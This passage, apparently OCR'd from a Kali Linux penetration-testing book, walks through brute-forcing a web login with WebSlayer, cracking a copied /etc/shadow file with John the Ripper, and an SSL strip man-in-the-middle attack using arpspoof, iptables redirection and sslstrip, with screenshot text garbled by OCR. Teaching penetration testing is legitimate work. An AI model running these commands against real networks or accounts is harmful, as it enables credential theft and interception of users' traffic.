or selected from a list of available dictionaries. The Range setting can be used to
specify the range for the attack. The payload setting can import a payload from the
Payload Generator tab. The following screenshot shows WebSlayer targeting www .
thesecurityblogger.com:

* WebSlayer

.+ Aftack setup | ¥ Payload generator | Attack results . RequesteR T Encoder = Llogs & Help

B

Url: | http:/www.thesecurityblogger.com/FUZZ

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; nv:1.9b3) Gecko/2008020514 Firefox/3.0b3

Headers:

POST Data:

Payload type: IDi(tlunary v| Inject in all parameters: ‘Headers v| Authentication: Ibasm v| |

Dictionary : dlnjectiunsfl’raversal.txt v|| | Encoding FUZZ: | md5 |
Dictionary 2: | vulns/sql_inj.txt v | () [ | Encoding FUZ2Z: | html encoder |

Filtering Discovery options | Connection options
Threads: |5 |*| Time delay: [0 | | () start! |

Proxy: [ | O Anonymous browsing

The payload generator is a tool that you can use to create custom payloads. You
can load dictionaries, numeric ranges, character blocks, permutations, credit cards,
usernames, and other settings. You can concatenate and create a final payload that
can be uploaded into the attack tab for a customized attack.

An example of defining a range payload in the Payload Generator tab can be seen
in the following screenshot. The example shows setting the range payload from o to
1000. Once the range is selected, we click on the add generator button, which will
generate a Temporal Generator. Drag the newly created generator to the Payload
Creator at the bottom and click on Generate Payload. We can now import the new
payload in the Attack Setup tab.
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* WebSlayer

.+ Attack setup | ¥ Payload generator | | Attack results . RequesteR [T Encoder = Logs & Help
FINAL PAYLOAD:
File | Range | Block Permutation Creditcards Usemames Temporal Generators ‘1)
= 2 :
Range: [o ‘7o [1000 7 3
5 = 4
O Fix width Width: 0 5
[ P 6
| @ Add generator | 5
.'. 8
You can make numeric payloads: 9
10
Example from 0 to 31, 11
Or with fixed width from 000 to 031 12
13
14
15
16
17
| 18
= 19 5
& Drop generator |
= | 0 Add from file |
| Payload Creator | Payload Modifier | = Save Payload |
| @ Drop Payload |
Pattemn: |[@PRange00@] | | #cenerate pavioap | |L— |
(5 Delete selection
L@ |

After importing the payload into the attack scenario or selecting default dictionaries,
you must select where the payload will be injected by WebSlayer. Placing the keyword
ruzz on the URL being attacked does this. For example, the following screenshot
shows the target http: //www.thesecurityblogger.com/FUzZ in the attack URI field
where FUZZ is an attack leveraging two existing dictionaries found in WebSlayer:

.+ Attack setup ¥ Payload generator | ] Attack results | ;. RequesteR |7 Encoder = Logs & Help
| 2| http://www.thesecurityblogger.com/FUZZ | Dictionary | /pentest/web/webslayer/wordlist/ ipl txt v

& Include | Codes: |--- v | Lines: | --- v | Words: | --- v | Chars: |--- ¥ | MD5: | --- v|| Regex | [

Timer | Code | Lines
3 b 00 1

Chars MD5 Payiaad Cookie | Location
iy, i

7 3 L 58713 13260659¢ BFOCA0E6 Wp-Stop-Ver
?4.135919 200 648 13545 158715 2e7ffaf85781c11c57419cc2d18a9479  ?wp-start-ver
6 3892320 200 648 13545 158717 3cd2fb9e293b1930660504ch71dbSfIf | Twp-unchec...
T 3.868443 200 648 13545 158713 ff5d05bd4239f18d6f74c26546072865  Pwp-usr-prop

8 0280893 301 7 20 250  1799a3f841al13a7c224ae85098f080e hetpa/w. . |
9 4438997 200 648 13545 158713 72(9ae9: 863 Pwp-ver-diff |

10 3725867 200 648 13545 158713 3fo5d I511caec78esfh  2wp-verin
11 4.766964 200 648 13545 158719 822d456deel3odccdbbabef7basos2oba 7wp-verify-li..

% Browser | Response HTML | Response Source Code Response Headers Raw Request
Moved Permanently

| The document has moved here.

| "\ search [

Attack finished OK
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WebSlayer can attack any part of the HTTP request such as headers and
authentication. In order for WebSlayer to brute-force the password of a web
server, it is important to know the username or most likely WebSlayer will not
work. You will need to capture HTTP requests and attempt a login so that you
can grab the user agent and content needed for the attack.

Q Live HTTP Headers

by Daniel Savard, Nikolas Coukouma

View HTTP headers of a page and while browsing.

Download Now

View other versions

Firefox offers a plugin called Live HTTP Headers, which you can use to gather this
information while attempting a login to your target server. The following example

shows user joeymuniz using a bad password while capturing packets with live
HTTP headers.

Live HTTP headers

m Generator  Config = About |

HTTP Headers
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS5 X 10.8; rv:20.0) Gecko/20100101 Firefex/20.0
Accept: */*
Accept-Language: en-US.en;q=0.5
Accept-Enceding: gzip, deflate
Content-Type: application/x-www-form-urlenceded; charset=UTF-8
Hash: MzFhMDgwMWZjZjBhYmU3ZAfDihnCgl/DgyAeWGQswo3Cn33DnHBYWENC sjlUwSBWU 3g rQExHWECsMOKw7vChMKywoHCvEKZwWE..
X-Requested-With: XMLHttpRequest
Referer: hitps://new.myspace.com/signin
Content-Length: B0
Cookie: MSCulture=1P=68.33.192.126&IPCulture=en-US&PreferredCulture=en-Us&PreferredCulturePending=&Country=YWM=&ForcedE ..
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
email=joeymuniz&password =happyjoyjoy&pageld=alc3ale7-al02-495f-b322-1a8Zb8labeec

LTTRT 1 AR el win a

| Save All... | Replay.. [ Capture | Clear | | Close

EMAIL OR USERNAME

f with Facebook

joeymuniz
PASSWORD
my with Classic Myspace
Forgot password? ) Stay signed in
Don't have a New Myspace account? Create one now. m
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The important parts of information captured from the Live HTTP Headers
used in WebSlayer are the User-Agent and Login Credentials as shown in the
following examples:

8 00 Live HTTP headers

Generator = Config = About |

HTTP Headers

POST /ajax/account/signin HTTP/1.1
Host: new.myspace.com

Accept: *j*

Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

800 Live HTTP headers

@ Cenerator = Config =~ About |

HTTP Headers
Accept-Enceding: gzip, deflate
Content-Type: application /x-www-form-urlenceded; charset=UTF-8
Hash: MzFhMDgwMWZjZjBhY mU3ZAFDIihnCgl/DgyAeWCQswo3Cn33DnHBYwWENCsjIUwSBWU3grQExHwEjCs MOKw7vChMKywoHCvBKZWE. ..
X-Requested-With: XMLHttpRequest
Referer: https:/ fnew.myspace.com/signin
Content-Length: 80
Cookie: MSCulture=IP=68.33.192.126&IPCulture=en-US&PreferredCulture=en-Us&PreferredCulturePending=&Country=VWM=&ForcedE.
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

email =joeymuniz&password=happyjoyjoy&pageld=alc3a0e7-al02-495f-b322-1a82b81la6eec

HTTP/1.1 401 Unauthorized
Vary: Accept-Encoding
Set-Cookie: visit_id=4d3fe738-3c9f-4bcd-8446-588fb321c14f; domain=.myspace.com; path=/; expires=Tue, 30 Apr 2013 15:27:40 ...

W Lamdlinn Hack lael anafln

| save All.. | | Replay.. | # Capture | Clear | | Close

The user agent information would go in the headers section and login information
would go in the post data section. The URL should match the login page. The
Authentication section provides different levels of security and a space for

the username.
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The following example shows taking the login information captured in Live HTTP
Headers while attempting to access myspace. The wrong password is switched to
the keyword Fuzz so that WebSlayer knows where to attempt the brute-force. The
Authentication tab has different security options for the example, the authentication
is set to basic with the username joeymuniz followed by the keyword rFuzz.

* WebSlayer

.+ Aftack setup ¥ Ppayload generator || Attack results RequesteR 7 Encoder = Llogs & Help

Url: | https://new.myspace.com/signin

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rev:20.0) Gecko/20100101 Firefox/20.0

Headers:

email=joeymuniz&password=FUZZ=alc3ale7-al02-495f0b322-1a82b81ab6eec
POST Data:
Payload type: | Dictionary v | Inject in all parameters: | Headers v | Authentication: | basic v| |10eymun|z:FUZZ |
Dictionary : [None v || erdlist/general/big.txt| Encoding FUZZ: | None v|
Dictionary 2: | None | ‘ | Encoding FUZ2Z: | html encoder v |

Filtering Discovery options | Connection options

Threads: |5 || Time delay: |0 \ | () start! |

Proxy: \ | ™ Anonymous browsing

You basically input the website, user agent, content, and known username. You
add the keyword Fuzz where passwords are required and select a dictionary to
brute-force those login spaces. This is an easy way to automate a brute-force against
a web server.

%‘ myspace uses stronger authentication than the example provided.

Targets with security features such as account locking will most likely not be
vulnerable to this tool. Advanced security tools such as the IPS/IDS technology would
most likely be alerted if your targeted were a monitored asset. For these reasons, we
caution against using WebSlayer on live targets without doing proper Reconnaissance.
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WebSlayer offers the ability to export payloads and findings into the text and HTML
formats. The logfile can also be captured and pasted into a text file.

Analysis for: https://new.myspace.com/signin

Analysis date: 2013-04-29 23:53:40

[Code [#Lines [#Words [Url

[200 [648L [13545W |http://www.thesecurityblogger.com/?Publisher=
[200 [648L [13545W [hilp://www.thesecurityblogger.com/?wp-html-rend=
[200 [648L [13545W |hitp://www.thesecurityblogger.com/?wp-cs-dump=
[200 [648L [13545W [http://www.thesecurityblogger.com/?wp-stop-ver=
[200 [648L [13545W [http://www.thesecurityblogger.com/?wp-start-ver=
[200 [648L [13545W |http://www.thesecurityblogger.com/?wp-uncheckout=
[200 [648L [13545W [http://www.thesecurityblogger.com/?wp-usr-prop=
[301 [7L [20W  |http://www.thesecurityblogger.com/cgi-bin

[200 [648L [13545W [http://www.thesecurityblogger.com/?wp-ver-diff=
[200 [648L [13545W |hitp://www.thesecurityblogger.com/?wp-ver-info=
[200 [648L [13545W |hitp://www.thesecurityblogger.com/?wp-verify link=

Webslayer an OWASP Project

Cracking passwords

Passwords are the most common method users verify authentication to systems. It
is common to identify passwords that can access other systems while exploiting a
target system. Chapter 4, Client-side Attacks, provides a section dedicated to cracking
passwords with many tools available in Kali. The next section will touch upon
cracking passwords showcasing a very popular tool available in Kali.

John the Ripper

John the Ripper is the most popular password cracker that is used today. It has
several engines that allow it crack different types of passwords, including encrypted
and hashed passwords. John the Ripper has the ability to autodetect most hashes and
encrypted passwords making the process easier for Penetration Testers. Attackers
like the tool because it is very customizable and can be configured in a variety of
different ways to speed-up password cracking.
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John the Ripper operates in the following manner:

* Attempts cracking passwords with dictionary words

* Uses dictionary words with alphanumeric characters appended
and prepended

* Puts dictionary words together

* Adds alphanumeric characters to combine words

* Runs dictionary words with special characters mixed in

*  When all else fails, attempts brute-force
Best practice is updating the default dictionary. We found the default wordlist is
limited (around 3115 words) and in many cases won't crack common passwords.
You can find dictionaries by searching Google. To verify the size of a new a wordlist,

open a terminal and issue the word count command, once the file is loaded to the
active folder. That command is we -1 FILENAME.

It is common to have duplicate words when downloading and combining multiple
words lists from the Internet. It's recommended to remove duplicates as well as any
uppercase letters since John toggles case styles automatically. An example of the
command to remove uppercase words is:

tr A-Z a-z < CustomWordFile > AllLowerCaseFile

An example of the command to remove duplicates is:

sort -u AllLowerCaseFile > NoDuplicatesOrUpperCase

Verify the new word count by issuing the word count command on your new file:
wc -1 NoDuplicatesOrUpperCase

To open John the Ripper in Kali, go under Password Attacks | Offline Attacks and
select John. A command-line terminal will open.

Johnny is a GUI for John the Ripper. Johnny is covered in Chapter 4,
S Client-side Attacks.

You can benchmark the speed of John the Ripper by typing john -test to getan
idea of how fast it will run.
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To use a custom word file such as the one built in the previous example called
NoDuplicatesOrUpperCase, you will need to edit the default wordlist. This can be
found by editing the file john.conf under the default John the Ripper folder. In
that file, you will find the wordlist pointing to a default passwords.1st.

in batch mode

Change the file list to the name of your new wordlist file. Following the previous
example, you would change it to Wordlist = NoDuplicatesOrUpperCase.lst. The
new wordlist file must be in the folder specified in the john. conf file. The default is
listed under the $JouN directory.

To use John the Ripper on a password file, you will first need to copy the target file
to the John directory. Issue the copy command cp to move the file into the John
directory. For example, to copy a shadow file (a common password file found in
Linux systems) type cp  /etc/shadow.

Once the file is in the same directory as John the Ripper, issue the command john
and the filename. So to run John the Ripper on a file shadow, type john shadow.

You can check the progress of John the Ripper by pressing Enter, which will display
the current password being guessed as well as the cracks per second listed as c/s.

You can pause John the Ripper by pressing CTRL and C keys together. If you restart
John by issuing john FILE, it will resume where you last paused the file.

To see the results once John the Ripper finishes, type john -show FILE.So to see the
results of the shadow file, type john -show shadow.

You can find more information on John the Ripper such as other commands at
http://www.openwall.com/.

Man-in-the-middie

A man-in-the-middle attack by standard definition is a form of active eavesdropping
by having an attacker make independent connections with victims. The most
common form of man-in-the-middle attacks are between host systems. Not too

long ago, a vulnerability was found that abused the system that moves people from
insecure to secure web pages. This gives attackers the ability to eavesdrop on users
connecting to secure web servers. The next section will cover that vulnerability.
Common man-in-the-middle attacks will be covered in later chapters in this book.
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SSL strip

In 2009 security researcher Moxie Marlinspike at DefCon released SSL strip. He
introduced the concept of SSL stripping, a man-in-the-middle attack in which a
network attacker proxies HTTPS requests from the user, instead sending the traffic
via HTTP, which can be intercepted and manipulated. SSL strip automates the attack
and allows someone to intercept traffic intended for a secure website. The HTTP
strict transport security specification was subsequently developed to combat these
attacks, however deployment of HSTS has been slow, and SSL stripping attacks are
still widely used today.

For the purposes of this section, we will only be using a single interface; however,
your virtual machine might be configured with multiple Ethernet interfaces. We
will need to check if there are multiple (virtual) Ethernet interfaces enabled.

In the upper left-hand corner of the desktop, click on the Xterm link to open
a command terminal. Use ifconfig to determine what interfaces are on the
virtual machine.

The command is ifconfig | grep "eth".This command will filter-out all the
miscellaneous interfaces and just show us the Ethernet interfaces, as follows:

If we have more than one interface enabled, issue the command ifdown with the
interface name to disable it. For example, there are interfaces named etho and ethi,
issue the command Ifdown etho to disable the etho interface. You will disable your
non-active interface.
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In order to run the SSL strip man-in-the-middle (MITM) attack, you need two
pieces of information. First, you need the IP address of the target. Second, you
need the IP address of the router that acts as the subnet gateway. Since this attack
method is only effective from the same layer 2 segments as the target, we will
need to ascertain our own default gateway. To do this, we will need to utilize

the command terminal once again.

In your terminal session issue the following command:

route -n

Or the filtered shell command route -n | grep 'UG' | awk '{print $2}' will
return just the default gateway.

File Edit View Search Terminal Help

Starting the attack — redirection

Before we can begin collecting information such as user credentials from SSL sessions,
we need to get a few tasks accomplished. We need to start the facilities that allow us
to redirect network traffic. In addition, we need to redirect traffic captured by our
attacking host so that we may forward the user packets to SSL strip. To do this, we
need to enable IP forwarding in Iptables and Arpspoof.
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The next three steps will configure IP forwarding, arpspoof redirection,
and configure port redirection. These commands are all the executed from
command-line terminal. Enabling IP Forwarding;:

echo 1 > /proc/sys/net/ipv4/ip forward

=# echo 1 = / s/net/ipvd/ip forward

For the purposes of this example, we will need to know the victim/target host's IP
address. This is to avoid contention and ARP address flooding to the entire network
by all the attack hosts. In a real attack scenario, it might be ideal to run arpspoof
against the entire layer 2 segment (this is the default if the victim's IP is omitted)
and/or utilize packet capturing and sniffing in order to determine the victim IP.

In an environment with many hosts this might cause the flow of traffic to slow and
potentially jeopardize the attacker's ability to remain unnoticed. The command is:

arpspoof -i ethO0 -t victimip default gateway ip

root@kali: ~

File Edit View Search Terminal Help

:~# arpspoof -i eth0 -t 10.0.1.240 10.0.1.1.

It is recommended that you do not send this process to the background and leave
the window up. Just start a new terminal session.

Setting up port redirection using Iptables

This enables the attacker to grab traffic destined for an HTTP server on TCP 80 and
redirect to the SSL strip listener port. In this example, redirection will be on TCP
10000 for both destination port and redirect destination. The attacker can use any
applicable value. The redirect destination chosen here must also be used for setting
the listener port for SSL strip. The command is as follows:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT
--to-ports 10000
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File Edit View Search Terminal Help

:~# iptables -t nat -A PREROUTING -p tcp --destination-port 80
ECT --to-ports 10000

4[]

= To disable the PREROUTING rule, replace the —A with -D to clear all table -
rules use.

iptables -t nat -F #to flush
s iptables -t nat -L #to check

arpspoof has many options. You can use the command man iptables
- see additional options. -

Now you should be set and ready to begin capturing using SSL strip!

Launch sslstrip and from the newly opened command-line window, run the
following command to start SSL strip listening on port TCP 10000:

sslstrip -1 10000

rooT@EaLT ™

File Edit View Search Terminal Help

:~# sslstrip —1 10000

sslstrip 0.9 by Moxie Marlinspike running...
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From the target host, browse to an online mail service such as
https://www.hotmail.com and log in.

7]

I3 Sign In | P

\\1/\ login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1354549705&rver=6.1.6206.08wp=MBI&wreply=http:5 C -'l' Goog

Most Visited v &) Getting Started gy Audiofile Engine... 50+ Ableton Liv.. @ MacBook Pro:Ho... @ Apple 3! Yahoo! [ | Google Maps

Q)] [#2 ]
» [ Bookmarks ~

Microsoft account What's this?

Keep me signed in

Can't access your account?

Sign in with a single-use code

Using the application menu shortcut to the ssLstrip directory, open another

Terminal window and type the following command:

= tail

This should now show you the results of the SSL strip attack.
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Note that the username and password have been obscured in the
following example but should appear in clear text, on your screen.

root@kali: ~

File Edit View Search Terminal Help

i a CTRL+C. ..

= |

Summary

This chapter explained various methods to compromise vulnerable web servers
using tools available in Kali. The most common methods are identifying known
vulnerabilities with automated tools and exploiting the best possible path to
gaining access to the target system.

The chapter started off focusing on various tools used to identify vulnerabilities.
The next topic covered was tools used to exploit vulnerabilities found on common
servers as well as servers hosting e-mail services. Next, we focused on brute-forcing
tools that could access data from systems that are not vulnerable to known exploits.
We concluded touching upon password cracking and man-in-the-middle attacks;
however, these subjects have dedicated sections in later chapters.

The next chapter will focus on identifying and exploiting vulnerabilities found
on host systems, also known as client devices.
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The term client or host means an endpoint used to connect to a network, such as a
computer, a tablet, or a mobile device. A client may offer information, services, and
applications to other clients or obtain information from another system, such as a
server. Typically, the term client refers to endpoints used by people. Having people
involved opens a range of possible vulnerabilities.

Client-side attacks, as it pertains to web applications, is viewed as a method to
identify who is connecting to web applications, what vulnerabilities exist on those
systems, and whether those systems can be a means to gain access or information
from a web application. The focus of this chapter will be identifying systems
accessing web applications, evaluating systems for vulnerabilities, and exploiting
those vulnerabilities, if possible. This chapter will focus heavily on compromising
passwords, as they are the most common methods used to secure host systems.

This chapter will kick-off by covering how to attack hosts using social engineering.
Later, we will look at how to identify vulnerabilities on host systems so that you can
exploit